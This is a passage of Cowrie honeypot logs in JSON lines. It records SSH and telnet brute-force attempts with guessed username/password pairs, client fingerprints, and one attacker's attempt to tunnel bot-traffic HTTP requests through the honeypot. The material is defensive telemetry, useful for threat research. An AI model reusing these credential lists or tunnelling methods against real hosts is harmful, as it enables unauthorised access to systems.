b[\\xb8\\xc5\\x8b\\x0c:\\xba\\xe7\\xff\\xd7a\\xdf\\x1b\\xe5\\x83n\\x15\\xc0\\xe1z\\xb7\\x974\\x01\\xc6x\\xaa\\xcc\\xdc\\xdd\\x1a\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 6\\xc7\\xe2\\xf3\\xe6yF\\x1e\\t\\'\\xf7\\xadI,\\rBh\\x0c.\\xbd\\xf8\\x9f\\x1f\\xe5\\xbe\\xa2>\\xab\\xb6\\xcd\\xffb\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:51.082582Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:51.390253Z","src_ip":"123.27.168.40","session":"f9eca9c35045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiat","password":"123456","message":"login attempt [fiat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:51.520544Z","src_ip":"91.92.40.36","session":"2bead77c5900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57948,"dst_ip":"159.203.135.109","dst_port":23,"session":"675f1923efe1","protocol":"telnet","message":"New connection: 172.81.62.90:57948 (159.203.135.109:23) [session: 675f1923efe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:52.373883Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:53.298984Z","src_ip":"91.92.40.36","session":"2bead77c5900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43832,"dst_ip":"159.203.135.109","dst_port":22,"session":"58688a5040d8","protocol":"ssh","message":"New connection: 91.92.40.36:43832 (159.203.135.109:22) [session: 58688a5040d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:55.659929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:56.803438Z","src_ip":"91.92.40.36","session":"58688a5040d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:05:56.808587Z","src_ip":"91.92.40.36","session":"58688a5040d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rent","password":"rent","message":"login attempt [rent/rent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:01.648477Z","src_ip":"91.92.40.36","session":"58688a5040d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43874,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7d30cb32ae","protocol":"ssh","message":"New connection: 91.92.40.36:43874 (159.203.135.109:22) [session: 7a7d30cb32ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:02.320442Z"}
{"eventid":"cowrie.session.closed","duration":84.14116144180298,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:02.687703Z","src_ip":"94.23.66.112","session":"77959bfb253a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:03.981678Z","src_ip":"91.92.40.36","session":"7a7d30cb32ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:03.985404Z","src_ip":"91.92.40.36","session":"7a7d30cb32ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:04.348240Z","src_ip":"91.92.40.36","session":"58688a5040d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f8950c6ade0","protocol":"ssh","message":"New connection: 27.71.230.31:37634 (10.17.0.5:22) [session: 1f8950c6ade0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:06.964745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.061273Z","src_ip":"27.71.230.31","session":"1f8950c6ade0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.394941Z","src_ip":"27.71.230.31","session":"1f8950c6ade0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":65183,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e04e512b3d","protocol":"ssh","message":"New connection: 38.46.222.137:65183 (10.17.0.5:22) [session: 17e04e512b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.643826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.648403Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bridgett","password":"bridgett","message":"login attempt [bridgett/bridgett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.684289Z","src_ip":"91.92.40.36","session":"7a7d30cb32ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:07.720213Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456!@#","message":"login attempt [root/admin123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:08.557947Z","src_ip":"27.71.230.31","session":"1f8950c6ade0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:09.055118Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:09.331209Z","src_ip":"91.92.40.36","session":"7a7d30cb32ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:09.838744Z","src_ip":"27.71.230.31","session":"1f8950c6ade0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d153b4352998","protocol":"ssh","message":"New connection: 91.92.40.36:16176 (159.203.135.109:22) [session: d153b4352998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:11.100606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:12.239741Z","src_ip":"91.92.40.36","session":"d153b4352998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:12.243141Z","src_ip":"91.92.40.36","session":"d153b4352998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30886,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d4d597d3e83","protocol":"ssh","message":"New connection: 91.92.40.36:30886 (159.203.135.109:22) [session: 2d4d597d3e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:17.250752Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qweqwe","message":"login attempt [ubuntu/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:18.141703Z","src_ip":"91.92.40.36","session":"d153b4352998","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:19.210984Z","src_ip":"91.92.40.36","session":"2d4d597d3e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:19.214442Z","src_ip":"91.92.40.36","session":"2d4d597d3e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:20.894834Z","src_ip":"91.92.40.36","session":"d153b4352998","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.237112Z","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:21.293307Z","src_ip":"38.46.222.137","session":"17e04e512b3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; M2007J1SC) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dXc4IUlMVEc%2BZmo1P3dKcQ%3D%3DvFaLfND%2F%2Bz1pp1glTwVTkZ8hOycGE7mDu2XkaSslELVUJEwETxYuk1Q6vqC6l270dI2W79xgMmbVUuMaK2iTcuUkUXMXERQ%2B0Ck0nnGRSs6MbTGn6B4mFjV75xGcLP4ghAgK9OS%2BpX4cLEiwgUtHsrGt8CNh0GfudKYYYJo8VfNKdNjj75Jo3wkrE3DWqK1CWWrSBdpkDH%2F5y1cF6FfproKx%2BUEG2tAlRNgwy%2F6tnxFzt6UAA4mqVatVr9iHS1zPzjwIfxeQPuUiRx7bqFWUpISx%2FGVm0EHOYSdZudK0O94J7oeErwlASa2tWnyVQ%2BuF2hhfdwp%2F9T76BTnrlr9aER4MfyjWLmlV1lFGXkRtAGKSJQyp%2FSLEiW%2Fhg6ernNYrd7IG9%2FrhLS5F7FTHIPBGwpN5D539GN%2BKyLDSHl7A%2B%2FcUgeA5XmoQXMQpkUq05iY7vgv1N20k9hfGa0t6396g3jzJtzMfq6%2F3SiP0VY7oPNfcRjKhCrRQJWvG3qT1RZhDXkNMsu6tTrOWIw8JD2yGL6KX4xuEXnXUtgETXaw8KegjCY7RGmI%2FxYo9gspM%2FyuoJX70TDDspsEUG5y%2BWmDTJIJCepqJNpmxu%2BJnX9xcnwFpJjaSwqEF8EWdco78LdPKk25GuhLfz27QOmy6PXaWwfMHgN8NuNYDYCJkFImtwwFRFHVlVHj9yjrkShpu%2FVMy2pE7vIpm0t%2BAJZ1X1DIzTJOIZgz4ubkYvyN63fZQGJ5X1LoVEYPwdESCRvYCdP%2FjOB3XILCDdL9tZBKm9%2FKAdSrAnh1Ews%2BrrZVzdducy2Hy31xqfUT3tQxHhLT7KQQQOhITy6V9%2F87uqyeinLOTZM%2Flo3B6CZHBuH32jo%2FXWSKivY7aPMZ1r8nB%2BmvQi45fYeN2IJeOYP1AZS66XgVDlxKsVtWgqtwLmXt3M5RTdGbnpWdjlzNm0I%2Bs%2ByxXzDyXLmMjEozNEBxj3q11Z2UJz%2F5ocumGfhFbfj5Rk19F%2FO4smNZDQuCft9SCDBwYPDncIzJGiq97mspfAT6K1E0RIMjkiHeRlG6J4OxHUn6%2F9z9%2BsWhHOpvoNpkiZOLoBRlV'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 